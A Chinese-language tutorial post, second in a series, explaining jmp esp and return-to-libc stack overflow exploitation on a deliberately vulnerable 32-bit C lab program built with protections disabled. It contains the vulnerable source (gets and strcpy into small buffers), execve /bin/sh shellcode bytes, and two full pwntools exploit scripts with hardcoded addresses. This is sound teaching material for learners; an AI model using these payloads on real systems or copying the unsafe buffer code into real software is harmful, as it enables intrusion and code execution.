栈溢出学习(二),讲述jmp esp && return2libc原理及其实践方法
本文使用的代码如下
#include
#include
#include
/*
* compiled with:
* gcc -O0 -fno-stack-protector -no-pie -z execstack -m32 -g -o lab0 lab0.c
优化等级 关闭canary 关闭地址随机化 关闭NX 生成32位程序
*/
void shell()//backdoor
{
printf("You got it\n");
system("/bin/sh");
}
void hello(char* name)
{
char buf[20];
strcpy(buf,name);
puts("hello!!!");
printf("i am %s ",buf);
}
void main(int argc,char** argv)
{
setbuf(stdin,NULL);
setbuf(stdout,NULL);
char buf[100];
puts("*****************************************");
puts("PWN,hello world!");
gets(buf);
hello(buf);
}
jmp esp
的原理见下图,在当前栈空间内进行堆栈清理返回到前一个栈空间时,会将esp
指向old esp
。
如果我们利用栈溢出,将返回地址覆盖为指令jmp esp
的地址,那么在返回到jmp esp
指令时,程序在下一步就会跳转到我们的old esp
继续执行,那么我们的payload应该是这样布局的:
payload = a*32 + p32(address of jmp esp) + 一系列NOP指令 + shellcode
那么在跳转到old esp
时,经过一系列NOP,程序最终执行shellcode
在实现过程中,关键是找到jmp esp
的地址。我们可以利用peda-gdb
的asmsearch
功能来寻找jmp esp
命令为
asmsearch "jmp esp" libc
利用该命令,我们顺利找到jmp esp
在libc
中存在,地址为0xf7dd9b51
因此最终形成payload如下
from pwn import *
local = True
debug = True
shellcode = b'\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
padding = b'\x90' * 12
if local:
io = process('./lab1')
else:
io = remote(ip,port)
if debug:
context.log_level = 'debug'
io.recvuntil('world!')
#input()
#gdb.attach(io)
#input()
payload = b'a'*32 + p32(0xf7dd9b51) + padding + shellcode
io.sendline(payload)
io.interactive()
也就是说目标是修改返回地址,使其指向libc中的函数,利用libc的函数实现我们的目的。通常,我们是尝试调用系统级函数system()
,execl()
,execve()
等等
p system
打印system函数地址
searchmem "/bin/sh" libc
寻找字符串/bin/sh
地址
1.b main
在main
函数处设置一个断点(随意设置一个断点),之后r
2.使用p system
打印system函数地址
可以看到system()
是来源于libc库中的函数,地址为0xf7e14200
这里有个问题,system
的地址中带有0x00
。栈溢出的触发函数strcpy
看到0x00
会进行截断,因此这里我们不能使用该system()
了(作者水平不高,如果有操作可以实现欢迎评论指出,谢谢)
那么现在两种思路,(1)换一个libc库(2)换个函数。显然如果是真实的题目或者环境,法1肯定是行不通的,那么我们尝试法2,获取到execl()
地址为0xf7e96870
execl()
函数原型为int execl(const char * path, const char * arg, ...);
第一个参数为需要执行的文件,后面的参数为执行需要的参数,最后一个参数必定为NULL
因此我们计划使用execl("/bin/sh","/bin/sh",NULL)
那么问题来了,这里有个NULL,不是会截断吗?在这里跟函数地址带0x00
不同,我们可以将NULL这个参数的位置设为一个值为0x00
的地址
3. 查看/bin/sh
地址,0xf7f550cf
4.随意查找一个值为0的地址,如下图,找到一个为0x8048105
5.设计payload
padding1 = 'a'*32
execl = p32(0xf7e96870)
padding2 = 'b'*4
binsh = p32(0xf7f550cf)
null = p32(0x8048105)
payload = padding1 + execl + padding2 + binsh + binsh + null
用一个示意图来介绍这个栈的布局
关键在于为什么execl()
后面带了一个bbbb??看一下execl()
的汇编
Dump of assembler code for function __GI_execl:
0xf7e96870 <+0>: push ebp
0xf7e96871 <+1>: mov ebp,esp
0xf7e96873 <+3>: push edi
0xf7e96874 <+4>: push esi
0xf7e96875 <+5>: push ebx
0xf7e96876 <+6>: lea ebx,[ebp+0x14]
0xf7e96879 <+9>: call 0xf7f0e381 <__x86.get_pc_thunk.si>
0xf7e9687e <+14>: add esi,0x118782
0xf7e96884 <+20>: sub esp,0x2c
0xf7e96887 <+23>: mov eax,DWORD PTR [ebp+0x8]
0xf7e9688a <+26>: mov edi,DWORD PTR [ebp+0xc]
0xf7e9688d <+29>: mov DWORD PTR [ebp-0x2c],eax
0xf7e96890 <+32>: mov eax,gs:0x14
0xf7e96896 <+38>: mov DWORD PTR [ebp-0x1c],eax
0xf7e96899 <+41>: xor eax,eax
0xf7e9689b <+43>: mov eax,DWORD PTR [ebp+0x10]
0xf7e9689e <+46>: test eax,eax
0xf7e968a0 <+48>: je 0xf7e9694d <__GI_execl+221>
0xf7e968a6 <+54>: mov eax,ebx
0xf7e968a8 <+56>: mov edx,0x1
0xf7e968ad <+61>: jmp 0xf7e968ba <__GI_execl+74>
0xf7e968af <+63>: nop
0xf7e968b0 <+64>: cmp ecx,0x7fffffff
0xf7e968b6 <+70>: mov edx,ecx
0xf7e968b8 <+72>: je 0xf7e96933 <__GI_execl+195>
0xf7e968ba <+74>: add eax,0x4
0xf7e968bd <+77>: lea ecx,[edx+0x1]
0xf7e968c0 <+80>: cmp DWORD PTR [eax-0x4],0x0
0xf7e968c4 <+84>: jne 0xf7e968b0 <__GI_execl+64>
0xf7e968c6 <+86>: lea eax,[edx*4+0x8]
0xf7e968cd <+93>: add eax,0x12
0xf7e968d0 <+96>: mov DWORD PTR [ebp-0x30],esp
0xf7e968d3 <+99>: add ecx,0x1
0xf7e968d6 <+102>: and eax,0xfffffff0
0xf7e968d9 <+105>: sub esp,eax
0xf7e968db <+107>: lea edx,[esp+0x3]
0xf7e968df <+111>: shr edx,0x2
0xf7e968e2 <+114>: lea eax,[edx*4+0x0]
0xf7e968e9 <+121>: mov DWORD PTR [edx*4+0x0],edi
0xf7e968f0 <+128>: mov edx,0x1
0xf7e968f5 <+133>: lea esi,[esi+0x0]
0xf7e968f8 <+136>: mov edi,DWORD PTR [ebx-0x4]
0xf7e968fb <+139>: add ebx,0x4
0xf7e968fe <+142>: mov DWORD PTR [eax+edx*4],edi
0xf7e96901 <+145>: add edx,0x1
0xf7e96904 <+148>: cmp ecx,edx
0xf7e96906 <+150>: jne 0xf7e968f8 <__GI_execl+136>
0xf7e96908 <+152>: mov edx,DWORD PTR [esi-0xe8]
0xf7e9690e <+158>: sub esp,0x4
0xf7e96911 <+161>: push DWORD PTR [edx]
0xf7e96913 <+163>: push eax
0xf7e96914 <+164>: push DWORD PTR [ebp-0x2c]
0xf7e96917 <+167>: call 0xf7e965b0 <execve>
0xf7e9691c <+172>: mov esp,DWORD PTR [ebp-0x30]
0xf7e9691f <+175>: mov esi,DWORD PTR [ebp-0x1c]
0xf7e96922 <+178>: xor esi,DWORD PTR gs:0x14
0xf7e96929 <+185>: jne 0xf7e9695c <__GI_execl+236>
0xf7e9692b <+187>: lea esp,[ebp-0xc]
0xf7e9692e <+190>: pop ebx
0xf7e9692f <+191>: pop esi
0xf7e96930 <+192>: pop edi
0xf7e96931 <+193>: pop ebp
0xf7e96932 <+194>: ret
execl()
函数调用的时候,第一步执行了push ebp,而在程序流跳转到execl()
函数后,esp便指向了execl()
地址的下一个栈空间,因此这时候push的便是我们payload中的padding2部分。现在观察ret
的上一句,是pop ebp
,显然一开头push ebp
的地址便是函数返回地址,因此我们要在参数前面加一个padding2来充当execl()
函数的返回地址。又因为我们不需要完成正常的返回,所以我们随便填一个bbbb
即可
综上形成payload如下
from pwn import *
local = True
debug = True
shellcode = b'\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
nop = b'\x90' * 12
padding1 = b'a'*32
padding2 = b'b'*4
if local:
io = process('./lab1')
else:
io = remote(ip,port)
if debug:
context.log_level = 'debug'
io.recvuntil('world!')
#input()
gdb.attach(io)
input()
payload = padding1 + p32(0xf7e96870) + padding2 + p32(0xf7f550cf) + p32(0xf7f550cf) + p32(0x8048105)
io.sendline(payload)
io.interactive()
本文对一个栈溢出例子使用了两种简单方法进行实验
下一篇栈溢出学习(三)依然会继续采用别的方法或增加保护对同样的例子进行实验